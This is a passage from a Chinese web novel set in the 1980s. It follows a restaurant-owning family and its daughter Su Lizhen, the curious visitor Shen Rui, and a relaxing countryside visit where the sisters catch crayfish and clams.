怕天气热影响食物,李翠英一般都是当天现卤,那天更是凌晨三点起来,一直忙活到上午九点,才把客人要的数量备齐。结果因为在热烘烘的厨房待太久,差点中暑晕倒,把苏卫华父女三人吓得够呛! 这会儿没有空调,在这样的炎炎夏日待在厨房里真不是一般难熬,现在他们家后厨也是大伙儿轮流看灶,绿豆汤、凉汽水随时备着,生怕大伙儿受不住。 李翠英闻言,却还是有点犹豫,“我倒是不怕遭罪,就怕人大老远过来却买不到东西……最近好多人说天热,吃不下饭,就想着咱家卤味这一口。” 说来也是没办法,他们家的东西现在在凤城确实是很有知名度,这么大热的天,火锅是没人问了,可卤味还火的不行! 不少客人表示,夏天吃不进饭,来点熟食卤菜,有荤有素,再配点小酒,啥食欲不振、吃不下饭的,那都不存在,他们只恨一个胃长少了。 老实说,苏家现在的家底子已经很可以了,所以苏丽珍压根不想让父母太辛苦。但是苏卫华夫妻俩见不得客人们乘兴而来,却败兴而归,所以不管寒冬酷暑,只要自己能动手,就一定要做到让客人们满意 是以苏卫华听了这话,也开始犹豫,“也是,那我帮你……” 眼看苏卫华也要“反水”了,一旁的苏小麦赶紧道:“别,干爸、干妈,那再好吃的东西也不能天天吃吧。吃不到让客人们顺便换个口味,不是正好?凉皮、冷锅串串也都适合大热天吃嘛。” “再说,我记得咱们没提前跟张表舅和刘五爷他们打招呼,今早送来的食材可都用得差不多了,你们就是想接着卤也没东西了!” 这句话一下提醒了夫妻俩,两人直拍脑门,光顾着瞎张罗,倒把这一茬给忘了! 苏小麦朝苏丽珍眨了眨眼睛,苏丽珍不由弯起了唇角。 正好这时王树也过来提醒他们,“叔、婶子,之前那两位客人带来的礼物还在包间搁着呢!” 苏卫华连忙道:“咱快赶紧收拾出来,这眼瞅着要到上客的点了!” 夫妻俩说着,就直奔包间。 “珍珍,咱们也过去,要不然那么多东西,干爸干妈一次搬不走。” 出于某种原因,苏丽珍本来不想过去,却被苏小麦一把拽了过去。 事实上,苏小麦还真是没说错,沈瑞这次带来的礼物确实多的不像话。 除了传统走亲访友的烟酒糖茶四色礼,还有很多东北不常见的地方特产。 吃的方面从东边大草原的牛肉干、乳制品,到南边金华火腿、川渝腊肠,再到大南端的芒果干、龙眼干、各种海鲜干品,甚至还有洋货葡萄酒和巧克力。 用的方面有精美的真丝丝巾,考究的紫砂茶具,底蕴深厚的金陵折扇。 还有好几样一家四口叫不出名字、但一看就知道价值不菲的好东西。 苏卫华夫妻俩整理的眼花缭乱,李翠英不住后悔道:“咱俩今天真是糊涂了,刚才就该说啥也不收才对!咱不过顺手帮人家一点小忙,咋能收人这么多礼啊,还有这么老多贵重的!” 也怪他们太实在,听人小沈说这些东西都是他经过南方在当地买的一些特产干货,看着占地方,其实都不怎么值钱。刚好他们家开饭店,用这些特产研究一下各地美食正合适。 当时看着小沈儒雅又亲t和的笑容,他们两口子晕乎乎地就这么答应了。 现在想起来,他俩可真没拿自己当外人! 两口子一阵发愁,最后商量着等孟知详出院,请他老人家来家里吃顿饭,到时把沈瑞也叫上,多少表达一点心意。 苏丽珍从头到尾没有说话,父母家人对沈瑞的赞不绝口,让她没来由有些烦闷。 如果可以,她真的不想再见到任何一个沈家人。 可与此同时,从苏家出来的两个人却正在说着与她有关的话题。 唐大队长:“这苏家的两口子人是真的不错。我们局,卢局你知道吧?那是向来眼里最容不得沙子的,乱七八糟的人可入不了他的眼,对这两口子印象特别好,还让我战友照顾他们。哦,我战友就是之前跟你说过的老秦。” 他本就是个健谈的人,加上觉得跟刚结识的苏卫华比较投契,这会儿谈兴就又上来了。 “还有他家那个大闺女,其实是他们两口子收养的。说是这丫头救过苏老板的媳妇,这两口子出钱治好了这孩子后,听说她原来的家庭重男轻女,放任她一个小姑娘在外自生自灭,两口子就把人接到自己身边收养了。” “中间是四处托关系,转户口,办手续,别说废了多少心思;接回来后,吃的、穿的、用的样样跟自己亲生的一齐。刚才你听见没,人姑娘都能报名上夜校了,之前那可是一天学没上。咱就是说谁家亲生的也不过如此,所以苏家这两口子,我是真心佩服。” “原来还有这一番过往,确实难得。”开车的沈瑞认真听完,表示了认同。 他虽然全程话不多,却每每能给出恰到好处的回应,让与他聊天之人能时常感受到被重视、迎合的愉悦。 于是,唐大队长也越说越畅快,“人都说他们家运气好,我倒觉得是他们两口子心地好,做生意踏实本分,所以是发家又旺人。” “对了,说起他们家发迹这事,还有个有意思的!就卢局和老秦就都说过,说老苏两口子都是地道的老实人,心眼子加一起都赶不上他们亲闺女的三分之一。” “那小姑娘,你别看白白净净,挺文静的样子,其实可厉害了。人都说他们家能从先头摆小摊子,发展到如今开这么大的饭店,这丫头得占一半功劳,也不知道真假。不过上次在医院,我也觉得这姑娘说话办事有模有样,比一般大人都强。” “老话不是说,自古英雄出少年吗,所以我看这也有可能,那丫头长得就一副能成事的架势。” 沈瑞听罢不知想到什么,脸上不自觉闪过一抹笑意。 也因为这一瞬的分神,汽车压过一个小土坑,整个车身都跟着颠簸了一下。 坐在前面的两个人倒没什么,就是车后座堆得小山一样的苏家卤味“哗啦哗啦”晃了一阵,最上头的几个油纸包差点掉到座位下面。 也不知是这一晃,晃开了哪个油纸包,一缕属于卤味熟食的霸道香味立刻飘散出来,着实馋人得厉害。 于是,唐大队长手比脑子快,扭身从属于自己的那一堆卤味里拽过来一包,打开一看,是一捆巴掌长的熏香肠。 他直接抽出一根,结结实实咬了一大口,一股混合着烟熏风味的浓烈肉香立时在车里弥漫开来。 第122章 “嚯,可真香啊!他们家这手艺真是绝了!” 唐大队长一口下去,眼睛都享受地眯起来,又问旁边沈瑞,“小瑞,来点呗。我敢保证他家卤味绝对是凤城一绝,名副其实!” 沈瑞微微摇头,声音温润,“不用了,唐哥,我不怎么饿。你喜欢吃的话,待会儿从我那份里再拿一些。” 唐大队长摆手:“不用,你二哥比我还爱吃肉,你带回去给他吃,我就不给他送了。” 沈瑞只道:“我二哥这趟任务不知道什么时候能回来,我二嫂现在带孩子,不大吃这些东西,小哲又回了首都,我一人吃不了这么多。” 唐大队长听完却想起什么,顺口问道:“你一提小哲,我想起来了,这孩子也在一中念书,他是不是跟苏家那闺女一届啊?” 沈瑞点头:“对,都是一届,下半年高二了。” 唐大队长就露出艳羡的神情:“我知道小哲学习一向好,基本没掉过年级前十。刚刚听说,苏家那闺女这学期期末更是考了个全年第一,将来一个重点大学是跑不了!我家那两个傻小子真是比他们差得远了。” 沈瑞笑道:“唐哥,不是这么看的,人各有所长。你家平安喜静,念现在的医专正好;平顺活泼,体格好,将来参军入伍走你当年的路,也很合适,说不定将来成就会在你之上。” 唐大队长叹了口气:“小瑞你不用安慰我,我这个做老子的帮他们把路铺好了,今后怎么样就看他们自己了。唉,儿女都是债,大概我上辈子没积德,所以也生不出像苏家闺女那种来报恩的孩子。” 说话间,汽车到了唐大队长家。临分别前,沈瑞坚持把自己那份卤味分出一半留给对方,然后婉拒了唐家人留下吃午饭的邀请,开车回自己的住所。 车子很快驶进市区内的一条深巷,最终停在一栋独门独栋的老洋房前。 这座老洋房前身是民国时期颇有名气的林公馆,中间几经易主,直到80年才重回它原来的主人手里。只是彼时的林姓后人早已举家搬迁至外地,且并不打算久居国内,是以经由别人牵线,由他最终买下了这座老宅。 房子买到手后,他又花了一笔钱重新修缮,这座久经风霜的老洋房立时便又焕发出迷人的风采。 不过买下房子后,他因为经常首都和深市两头跑,所以几乎没怎么住过,除了假期侄子沈哲偶尔过来小住,平时都是请阿姨负责看顾。 房子门前有一棵老榆树,年代久远,枝繁叶茂。他将车子停在树荫下,也没急着下车,顺手拿出一根烟,坐在车里点燃。 副驾驶的位置上还有几包散落的苏家卤味,是他之前将自己那份中的大部分送给下车的唐大队长时,对方推拒间又从车窗里给他扔回来的。 他看着这几包熟食,脸上露出几分若有所思。 苏家的那个女孩好像认识他,虽然他十分确定在自己二十五年的人生轨迹里,并不曾跟对方有过任何实质性接触。 当然,他曾在去年偶然看到过她两次从容自若地收拾掉上门找茬的混混,但他可以确定,那两次他只是远远观看,并没有露面,对方也压根没看到他。 退一万步,就算她也见过了他,可这不过是一次萍水相逢,又是什么,会让她在今天第一眼看到他时露出那样的表情呢? 尽管她调整的很快,但他仍然瞬间捕捉到她脸上似悲伤、似逃避,又似夹杂着悔恨无助的复杂神情。 那一刻,他心里是惊讶的。 在这之前,他眼中的这个少女内心成熟而富有心机,她也有野心,但并不急功近利,做事也有底线; 而这两天,从阶层在她之上的人对她一致的较高评价来看,她的手腕不俗,堪称进退有度,也很符合他对她的第一印象。 他一向欣赏像她这种行事风格的人,这种欣赏足以让他忽视她的年龄、背景,将她视作一个未来可期的好苗子。 要知道这世上聪明人很多,但聪明、知进退,又不失善良底色的人却少之又少。 甚至在去苏家前,他就考虑过,单凭孟老这件事,他不介意给这个女孩提供能力范围内最大的帮助或者扶持。 可在见过她对他露出那样的眼神后,他忽然觉得这个女孩似乎跟他设想的并不一样。 她浑身充满了谜团,让人完全无法看透。 他甚至有一瞬间想过,对方是不是跟某些女人一样,在跟他玩什么欲擒故纵的把戏,只为吸引他的注意。 但他直觉又不是,尤其在她后来神色恢复如常后,却始终避免与他目光接触,甚至都不愿往他的方向看一眼,并且还要对包括他在内的所有人努力掩饰自己的异样。 她对他下意识的逃避这么明显,又这么莫名其妙,也成功激起了他的好奇心。 可微妙的是,他居然并不排斥这种感觉。 他将手轻搁在车窗上,指尖轻点,一簇烟灰扑簌簌滑落。 一只小蠓虫与他的手指错开,顺着敞开的车窗飞进来,却一头误撞进一团灰白色的烟雾里。它使劲儿打了t几个转,废了好大力气才挣脱那一片“烟海”,最终落在方向盘上不动了。 沈瑞的目光追逐着小虫。几缕阳光透过树荫照进车里,闪耀的光斑在驾驶位上跳动,他沉思的脸俊美得不可思议。 不知不觉烟快要燃尽了,他看了眼手表,将烟头掐灭,下车将前后座的卤味都取出来。 只是这些卤味一拿到手里,隔着薄薄的油纸,他忽然发觉这些熟食闻起来竟然很熟悉。 之前唐大队长吃那根熏香肠时,他就有过这种感觉,只是那时脑子里想着别的事情,所以没太在意,这会儿才发现这些卤味的味道实在似曾相识。 他顿了顿,拿起一包略小的纸包打开,里面刚好是已经片好的鸭肫和鸭肝,他挑了边上一小片鸭肫放入口中,那股麻辣鲜活的香味瞬间直冲味蕾,跟他记忆里常吃的味道几乎一模一样。 这莫非是巧合? 两个相隔万里、素不相识的人也能做出口味如此相似的菜肴? 他掏出手帕擦拭指尖,脑海中又再次浮现少女那清秀白皙的面容。 对方似乎比他想象的还要神秘…… 正入神之际,车前的院门忽然“吱呀”一声被打开,一个四十出头的妇女探出身子,“哎呀,小沈回来了,我就说我刚才在院子里好像听见汽车的动静了!” 见沈瑞手里拿着不少油纸包,又忙上前搭手。 “谢谢,刘姐。”沈瑞将手里的东西交给她。 刘姐笑道:“这有啥可谢的!还有小哲那孩子,你们叔侄俩总那么客气,这不都我应该做的嘛!” 沈瑞也微微一笑,又听她说:“沈啊,孟老爷子的鸡汤熬好了,你看我是现在就送过去,还是再等一等?” 沈瑞便道:“今天我没什么事,待会儿我去送吧。” 刘姐答应了一声,想起来又道:“哦,对了,还有上午你没在家,首都的德叔又打电话过来了,还说让你回来后就给他回电话!” 沈瑞点了点头,回去洗了个手,就到客厅回电话。 电话一接通,立马响起熟悉的大嗓门:“哎呦,瑞娃,你咋才回来,我都等你半天了!那啥,电话费贵,咱长话短说,我买了明天去凤城的火车票,大概后天晚上就能到,我告诉你一声啊!” 对方像点了炮仗似的,一阵“噼里啪啦”,被正好过来送茶水的刘姐听到,想起先头几次接电话时自己那差点被震破的耳膜,不由缩了缩脖子,赶忙走了。 拿着话筒的沈瑞全程没有露出半点不虞,只是耐心地劝解对方:“德叔,您出院才一周,这个时候不宜舟车劳顿,还是先等一等吧。我这边孟伯伯的情况还好,您别这么着急。” 于是那边又是一阵“噼里啪啦”:“咋能不急啊!我这天天都睡不着觉啊!再说,我一个阑尾炎手术算多大个事,过去上战场,就我这样都不能算伤员!” “瑞啊,你别再劝我了,我姐夫那倔驴,别人都治不了他,我不能总给你添麻烦。放心吧,我也跟老首长汇报过了,他也支持我,还帮我换了卧铺票呢。” 沈瑞听罢,微微叹了口气,无奈道:“既然这样,那好吧。德叔,您路上一定要注意安全,后天晚上我去车站接您。” 挂了电话,拿起刘姐端过来的茶刚喝了一口,电话铃又响了起来,他顺手接起。 话筒那边响起一道格外慈祥的声音:“小瑞啊,我是爷爷啊。” 沈瑞的神情越发柔和:“爷爷,是我,您这两天怎么样?” 电话那头笑呵呵回答:“我好着呢,你上次带回来的那个什么鱼胶啊,你妈妈亲自给我炖汤,我拿来泡饭吃,还挺香的!” 沈瑞的唇角不禁扬起,“是吗?您喜欢的话,我再给您带。” 电话那头忙说:“不用了,你在外头忙事业,辛苦得很。我这边不缺吃、不缺喝的,你不用老惦记我。” “对了,小瑞啊,厚德给你打电话了吗?” 沈瑞立刻应道:“打过了。我刚回来就接到了德叔电话,他后天晚上到凤城,到时我亲自去车站接他。您老放心,我会把他老人家照顾好的。” 那边又乐呵呵道:“小瑞办事,爷爷自然最放心。” 顿了顿,老人又轻叹一声:“厚德这辈子不容易啊!也就他这么个心大的,要是一般人早就垮了……小瑞啊,看在爷爷的面子上,事关你德叔,能帮的,你一定要帮一把。” 沈瑞立即允诺道:“我知道,爷爷,您尽管宽心,我一定会尽力帮助德叔。” 挂了沈老爷子的电话,沈瑞眸光微动。 说起来,德叔的大名叫苏厚德,只是大家习惯叫他德叔,唯有孙辈们觉得叫“德爷爷”不妥,才改回叫“苏爷爷”,所以他刚刚一时倒没想起来,其实德叔也姓苏呢。 思及那片鸭肫熟悉的味道,他直觉会很快再见到那个令他好奇的少女。 这几天,珍珍火锅店的气氛不比往日。 自那天谢芳芳要去首都过暑假后,卢向阳也来找苏丽珍告别,说是卢父又要把他送去部队训练,没意外的话,这个假期都不能着家了。 朋友们陆续离开,一整个假期都见不到,苏丽珍本就不高的情绪更加低落。干脆整天把自己闷在房间里,不是拼命读书、复习高二的课本,就是埋头绘制建筑公司的新工程效果图,制作各种宣传图册。 短短三天的工夫,人就瘦了一圈。 第123章 苏卫华夫妻和苏小麦大感心疼,好说歹说劝她出去玩玩逛逛。 可她愣是出了房间就守在饭店里,要么在大厅招待顾客、收拾桌台,要么跟着后厨一起洗洗涮涮,总之得了空就使劲干活。 吓得曹金凤拽着夏春花跑去找李翠英支支吾吾解释,说不是她们俩偷懒,是小老板太能干,求叔和婶子千万别扣她们奖金。 苏卫华和李翠英顿时感到头疼。 总觉得孩子有心事,他们却问不出来,又不舍得逼/她,只能心里干着急。 最后还是张舅妈给出了个主意,让张表舅赶着马车把小姐俩一块接上,去她家待个一天半天的,到时候好好在乡下的田间野外溜达一圈。 白天就到小溪边上玩水摸小鱼,野地里采野花;晚上点蒲棒,边玩、边熏蚊子;清早再去菜园子里逛逛,摘点蔬菜果瓜,这不比整天闷在店里强? 苏卫华夫妻俩一听都觉得这主意好,当即跟苏小麦和苏丽珍说了,等听苏小麦一口答应下来,也不问苏丽珍,就忙着大包小包给姐妹俩收拾东西去了。 虽说张表舅两口子都是熟人了,可怎么说也是上门打扰,自然不能空着手。 给老人的烟酒茶,给孩子们的罐头饼干水果糖,还有上次小沈拿来的南方特产果干和鱼干,等明早再称几斤熟食荤菜,这就齐了。 苏丽珍不过是反应慢了一拍,等回过神来,她爸妈早忙活得没影了。 只有苏小麦陪在她身边,看她一副少见的晕乎模样,不由拉着她的手劝她别想太多,说她最近实在憔悴,这次说什么都该出去好好放松放松。 于是,这件事就这么以苏丽珍完全不在状态的情况下痛快决定了,等她彻底醒过神来时,她和小麦姐两个人都已经坐上张表舅的马车了! 也是这个时候,她才惊觉自己最近又犯了老毛病,因为太过沉湎于过去,导致状态不佳,让父母亲人跟着担心。 既然这样出来走一走能安他们的心,她又何必拗着这股劲? 苏丽珍一遍又一遍地警告自己,就算内心如何支离破碎,可至少在她应该赎罪的亲人面前,她不应该、也没有资格一再放任自己。 或许是她的自我告诫起了作用,也或许是沿途的盛夏乡野风光确实美丽宜人,她渐渐也放开了思绪,开始认真欣赏周围的景色。 张表舅家所在的张家屯大队路途不近,几乎快要出了凤城市的边界。 他们早上八点从店里出发,那会儿时间尚早,马车走在绿树青草相伴的乡间小路上,伴着习习微风,格外惬意舒爽。 不过张表舅怕苏丽珍不适应乡下的土路,车赶得慢,所以原本预计两个小时的车程生生又拖长了大半个钟头。 尤其九点半以后,日头高升,气温明显窜高,怕太阳晒坏了小姐俩,张表舅还拿出两顶一早预备好的新草帽让她们戴上。 这草帽做工精致,上面编出了麦穗的花纹,外侧还用水蓝色带波点的细布条缝了个可爱的蝴蝶结,一看就是特地给她们俩做的。 苏小麦不由夸道:“这草帽是t表舅妈做的吗?可真好看啊!” 前面赶车的张表舅回头笑着解释道:“她哪会啊,这是俺娘做的。咱屯子里属俺娘手最巧,编这些东西总是又快又好。俺知道小麦也是会手艺的,看着还成是不是?” 许是回到自己最熟悉的地方,张表舅说话都不自觉都带上了乡音。 苏小麦笑道:“瞧您说的,我那两下子可不算啥,跟姨姥姥的手艺可差远了!” 在遇到苏家人之前,苏小麦一直是靠拾捡山货、编织各种手工艺品为生,她的手艺也是很厉害的,苏丽珍和张表舅知道,她这话绝对是自谦。 张表舅不由笑呵呵道:“都好、都好,你手巧、啥都能编,珍珍能写会画,咋都比俺家那几个棒槌强!” 苏丽珍和苏小麦不由“噗嗤”乐出了声。 张表舅家四个孩子,三个男孩、一个女孩。张舅妈每天在店里都要数落一通,直说家里四个娃都是讨债鬼。老大憨,老二呆,出去收货,要不是他们两口子提前三令五申交代好,那保不齐给你亏个本; 好不容易老三精明点,却是个书呆子,一看见书就迈不动步; 剩下小四是个女娃,文静乖巧,比她两个哥哥还老实,她这当娘的成天担心这丫头出门被人哄走了。 就这么一路说笑着,时间不知不觉过的飞快,十点四十左右,马车终于到了张家屯。 老远就看见张表舅的大儿子和二儿子守在村头,一看见他们的马车立马高兴地迎了上来。 这一路风景虽然好,但是马车坐久了也有些累人。 苏丽珍索性让张表舅停车,和苏小麦一起下车,跟两个哥哥打了招呼,一行人就直接步行到张家。 张家屯百分之八十的人都姓张,张表舅的母亲,苏丽珍和苏小麦跟着丁大勇一起叫姨姥姥,她老人家在村子里辈分很高,所以这一路上遇到的村民跟张表舅打招呼,不管年纪大小,基本都是叫大爷和叔叔,还有两个喊大爷爷的。 村子地方偏僻,外来人很少,村民们跟张家人打完招呼就好奇地看着苏丽珍姐妹,有跟张表舅一家关系比较亲近地就直接张口打听。 张表舅就跟一个问他的老汉解释道:“这是俺们送货的东家家里两个闺女!” 苏丽珍失笑,“表舅,咱是平等的供应关系,哪有什么东家!” 她和苏小麦正准备跟那老人问个好,结果一声“大爷”还在嗓子眼里,哪想老汉听她们管张表舅叫“表舅”,就特实诚地对她们招呼道:“两位姑好!俺是他侄孙儿张来福。” 这声“姑”把苏丽珍和苏小麦吓了一跳!一时都不知道该怎么回应,总觉得是占人家老人家的便宜,只能含糊着应了声,赶紧转移话题,打听几句老人的身体情况。 不想老人家还是个爱说话的,当即道:“好啊,可好啦!托您家的福,俺家今年挣了钱了!” “俺养的鸡、鸭,种的粮食、各种菜,都叫大爷爷收走了,您家仁义,给的价格比俺们背到市里卖还划算呢!俺们家这一年可没少挣,俺还寻思回头要盖新房子呢!” “对了,两位姑这次来能待多暂啊,我回头叫俺家那口子杀两只小鸡送过来……” 最后是张表舅嫌这位话多,直接把他轰走了,然后还跟姐妹俩解释,他这位堂侄孙有点实诚大劲儿了,但人品很好,跟他们家关系也一直不错。 早些年张来福家的光景比他们家还艰难,也是多亏了近一年把家里产出的农副产品卖给苏家,这才见到了活钱,更因为有了这些收入,使得一家子的境遇大大好转。 说话间就到了张家,姨姥姥更是亲自出门迎接她们。 对于张表舅一家,苏丽珍并不陌生,不说张表舅时常让三个儿子轮流帮着送货,就是姨姥姥也坐着张表舅的马车去过店里两回,给他们家送过不少新鲜山货。 双方见了面,姨姥姥一手搂着一个,说苏丽珍白净秀气、气质好,又夸苏小麦浓眉大眼、长得标致。 等进了屋,一叠声地让姐妹俩上炕,叫大孙媳妇倒水,喊二孙媳妇拿糖,又催小孙女去洗水果,除了把家里人指使得团团转,自己又去开箱子翻出两瓶罐头和一包桃酥,要打开给苏丽珍姐妹吃。 姐妹俩刚想叫老人家别忙了,就听院子里有人喊道:“娘、大哥,东家的闺女到了吗?” 竟是张表舅的两个弟弟和弟媳妇也都来了。 张表舅的父亲去世后,张家就分了家,姨姥姥跟着大儿子,也就是张表舅一家生活。 两个弟弟住的地方也不远,因为姨姥姥为人公正,一碗水端的平,所以张家兄弟仨一向关系和睦。 加上张表舅打从帮苏家做事后,也不忘拉两个弟弟一把,兄弟俩年节期间跟着一起处理收来的鸡鸭货,着实赚了一笔。 所以张家两个弟弟十分信重张表舅这个大哥,对张表舅做事的苏家也充满好感。 两家人都带了不少东西来,有新鲜捞上来的河鱼,宰杀收拾好的鸡鸭,还有各种鸡蛋、鸭蛋,一看就是农村家庭能拿出的最好礼物了。 中午,到了饭点,怕屋里烧火,炕太热,热着两个娇客,张表舅领着两个弟弟把院子里平时不用的土灶收拾出来做饭。 姨姥姥带着两个儿媳妇亲自上灶,小辈们在旁边打下手,很快就整治出了一桌子好菜。 姨姥姥做的菜看着不精致,大盆的炖鸡,大碗的炖鱼,但味道却特别好,是那种让人吃了后特别舒心又踏实的感觉。 至少这些日子深感自己的心像被困冰山荒原的苏丽珍,就觉得跟张家人一起,每吃下这一口饭菜,心里就多了一份温暖和妥帖。 这顿饭吃的宾主尽欢,之后姨姥姥就把家里的小辈们都轰走,给苏丽珍和苏小麦在炕上铺一层崭新的草席,让姐妹俩好好休息一会儿,老话叫“抻抻腰”。 苏丽珍本以为自己不会睡着,没想到再睁开眼睛的时候,已经下午两点半了。 旁边小麦姐不知道去哪儿了,她顺着支起的窗子向外看去,果然看见姨姥姥领着孙女和孙媳妇们在院子的大枣树下择菜。 小麦姐也在其中,几人不知道在说什么,脸上都带着笑意。 苏丽珍收回目光,忽然听到身后一阵簌簌声,一回头,就见门边上、扒开的草珠帘子下,由高到低竖着一大三小四个脑袋瓜! 原来是张表舅的三儿子张宝洋,领着他大哥、二哥家的三个侄子蹲在那里。 张宝洋长得人高马大,其实今年才十五岁,见她看过来,还有点不好意思,忙把三个小的扒拉开,站在门边问道:“丽珍姐,你睡好了吗?要不要再躺一会儿?” 苏丽珍还没说话,张大哥家六岁的小儿子三毛,立即接话道:“不能睡了,睡多了该尿炕了!” 他大哥大毛不由拍了他脑门一下,“笨蛋,那是你!丽珍姑姑这么大了,早就不尿炕了!” 张二哥家唯一的男孩二毛不禁问道:“大哥,为啥长大了就不尿炕了?” 这问题显然有点超纲,八岁的大毛寻思半天,才挠着脑袋道:“可能是因为长大了,小牛牛就听话了,它能提前告诉你,不叫你尿炕!” 苏丽珍差点笑出声来。 张宝洋有些尴尬,赶紧轰人,“说啥呢,你们仨!快去告诉太奶她们,就说你们丽珍姑姑醒了!” 三个孩子立刻撒着欢跑走了,边跑还边喊:“太奶,丽珍姑姑醒了,咱能切西瓜吃了!” “太奶,切西瓜!” “哦哦,醒了,吃西瓜喽!” 结果被张家的两个孙媳妇按住,咣咣一顿锤,人坐在屋里都能听见三个毛挨了好一顿数落。 张宝洋朝苏丽珍不好意思地笑了下,苏丽珍也笑了笑,主动说道:“我这一觉睡太长了,得下地活动活动,正好我也看看姨姥姥她们干什么呢。” 张宝洋点头,看苏丽珍下地穿鞋,突然想起什么,竟直接跟她请教起初中的一个物理难点来。 苏丽珍早就听张舅妈他们说过,这孩子之前因为家里困难,学业上也耽误了一段时间,自打去年九月复学后,便格外刻苦,平常在家一有点空闲就要拿起课本学习。所以这会儿听他问自己,心里佩服人家才是真正的懂事好学,便主动帮他解答起来。 张宝洋听得兴奋,问了好几个知识点,说话就要跑自己屋里拿练习册,说是上面有几道题一直没有思路,结果刚从屋里窜出去,就被端着瓜果进屋的姨姥姥给拦住了。 “俺就说一直听见屋里有动静,咋你们两个小孩这半天不出来,整了t半天是又被这魔头给缠住了!” 她一巴掌拍在张宝洋脑门上,嗔怪道:“你那书就是金子做的,你少看一会儿它也丢不了!那老话都说,磨刀不误砍柴工,该啥时候就干啥时候的事。” “俺跟你说,一会儿你和宝丫带着你丽珍姐和小麦姐出去溜达溜达,不行再拉着人家鼓捣你那些课本,听见没?” 张宝洋无奈,只得委屈巴巴地点头。 姨姥姥又对苏丽珍笑呵呵道:“丽珍啊,咱不搭理他,这都学成书呆子了,愁死个人!来,吃西瓜!” “地里香瓜也下来了,往年这西瓜还得再等几天,他爹本来是下地摘香瓜的,说是顺便到旁边西瓜地转一转,没想到就真踅摸出一个差不多的,正是合该你们姐俩有口福!” 说着,就把一块红彤彤的西瓜塞到苏丽珍手里。 苏丽珍接过西瓜,咬了一口,味道不算很甜,但是胜在清新爽口,跟这大夏天正是相宜。 她一边吃着西瓜,一边对张宝洋道:“宝洋,我初中的各科学习笔记还都留着,回头我让表舅给你带回来。暑假我也基本都在家,你如果学习上有什么不懂的,就坐表舅的车到店里来找我。” 张宝洋听了十分高兴,连之前数落孙子的姨姥姥看着苏丽珍的眼神也充满了疼爱,等她吃完了西瓜,又连连催她尝尝香瓜。 第124章 品尝完了新鲜美味的瓜果,张家兄妹就带着苏丽珍、苏小麦和家里三个小不点一起去村外的南山根儿下玩。 所谓的南山是一片连绵的青山,山不算高,但胜在草木葱茏,半山腰上还有一条清溪蜿蜒而下,直到南山脚下形成一个明澈见底的小水潭。 苏丽珍一路走来,但见蔚蓝天空下,远处青山环绕,近处绿树成荫。走过原木架起的简易木桥,置身在这遍地绿草山花的山脚下,耳畔是潺潺的流水声,间或夹杂着几声虫鸣鸟叫,真正是让人心旷神怡。 这一刻,苏丽珍感到了前所未有的放松,脸上也不自觉露出惬意的微笑。 耳边响起一阵欢呼声,苏丽珍偏头看过去,却见小麦姐已经脱了鞋袜跑到水潭里淌水玩去了,张家三个小孩也又蹦又跳地跟在她后面,一个个小脚丫把水面踩得啪啪响。 性格腼腆的张宝丫犹豫半晌,到底顶不住在这炎炎夏日里玩水的巨大诱惑,也三下五除二脱掉鞋子下水玩。 只有张宝洋淡定地留在岸边,从身后的背筐里熟练地掏出自制的简易鱼竿和鱼饵,往他们上游的方向走出一段距离,甩竿开钓。 苏小麦就开始招呼她:“珍珍,快来啊!这水里可凉快了!” 苏丽珍不由笑了起来,“哎,这就来!” 差点忘了,小麦姐成长于乡间,应该比她更留恋这一片风景如画的乡野。 “哎呀,这水里有嘎啦和小鱼!珍珍,你快点,咱们摸嘎啦!” 一说到摸嘎啦,几个孩子连水都不玩了,都猫着腰在水潭底下摸索起来。 苏丽珍也笑着加入了这支摸嘎啦大队。 嘎啦,其实就是河蚌,静静伏在溪底的砂砾间,一只足有手掌大,苏丽珍在苏小麦的指点下,很快就摸到了一只沉甸甸的大家伙。 可惜这东西大多有寄生虫,烹饪的时间短,不安全;时间长一点,肉质就发硬,口感不好。如果不是实在没得吃,村里人基本不碰。 但是河蚌却是禽类的好饲料,鸡鸭鹅尤其爱吃,吃完了下的蛋又多又大,就是蚌壳晒干后磨成粉伴在动物食料里,也能给小动物们补钙。 大家一会儿就摸出了十多个嘎啦,因为单只个头大,堆在一起看着还不少。 这时,十来个村里的孩子们也过来溪边玩耍,这群孩子大的十一、二岁,小的就跟三毛差不多大。 他们显然跟张家的孩子相熟,老远就招呼张宝洋兄妹和大毛几个。 其中两个年纪大一点的手里也拿着鱼竿,跑去了张宝洋身边,和他一起钓鱼。 还有两个十来岁的小女孩则远远看着张宝丫,似乎很想过来,又有些不好意思。 苏丽珍见了,就问旁边一心摸嘎啦的宝丫,是不是她朋友。 张宝丫抬头看见两个女孩,忙招手让她们过来,两个女孩怯生生走过来,却是叫宝丫“老姑”。 苏丽珍一听就明白,这也是张表舅的本家。 两个女孩很乖,听说她们要摸嘎啦,二话不说就上手帮忙,时不时还会偷偷瞧几眼苏丽珍。 苏丽珍看过去,她们又会立马害羞地低下头,假装专心找嘎啦。 苏丽珍觉得怪可爱的,便也装作没发现她们的打量,稍稍走远一点,好方便她们继续偷瞄。 没一会儿,就听见两个小姑娘窃窃私语。 “她就是大爷爷东家的闺女,你看她多白净啊,看着就跟咱们不一样!” “那当然,俺妈说咱队上大多数人家的东西都卖给她家了,她家开的店老大了!老话说那都是大户人家!” “大户人家,那是资本家吗?” “你说啥呢!资本家都是坏心肝的家伙,她家可不是,她家心眼好!俺妈说,多亏了她家,咱队上这两年日子都好多了,咱得感谢人家!” 恰在这时,苏小麦忽然远远地喊道:“啊,有蝲蛄!珍珍,我看到蝲蛄了!” 这一嗓子吸引了所有人的注意力,纷纷看过去,只见苏小麦嘴里喊着,手上动作也飞快,只三两下就从一块石头底下翻出一只食指长的蝲蛄出来。 身边接触多了爱吃、会吃的人,苏丽珍还真听说过这大名鼎鼎的蝲蛄,只不过还是头一次见到现场活捉的,当即好奇地凑了过去。 这小东西通体青灰色,像缩小版的龙虾,也有两只大钳子张牙舞爪的。她听人说这蝲蛄只生长在山明水秀的地方,因此味道极鲜,是许多东北老饕的心头好。 苏小麦显然也知道蝲蛄的美味,尤其想着苏丽珍还没吃过这东西,就想着多捉一些给她尝鲜,当即就放弃了摸嘎啦,开始专心找起蝲蛄来。 蝲蛄白天喜欢躲在溪边水流不那么急的水草丛和石缝间,苏小麦打头,领着她们往上游走了一小段,到一片石块比较多的区域,根据经验小心地挑中一块石头轻轻抬起,果然在底下发现两只肥硕的蝲蛄! 宝丫和大毛立马两边配合,一左一右,一下就把两只蝲蛄按住,收入囊中。 二毛、三毛不由一阵欢呼,跑去另一边把张宝洋的背篓要来,专门装蝲蛄。 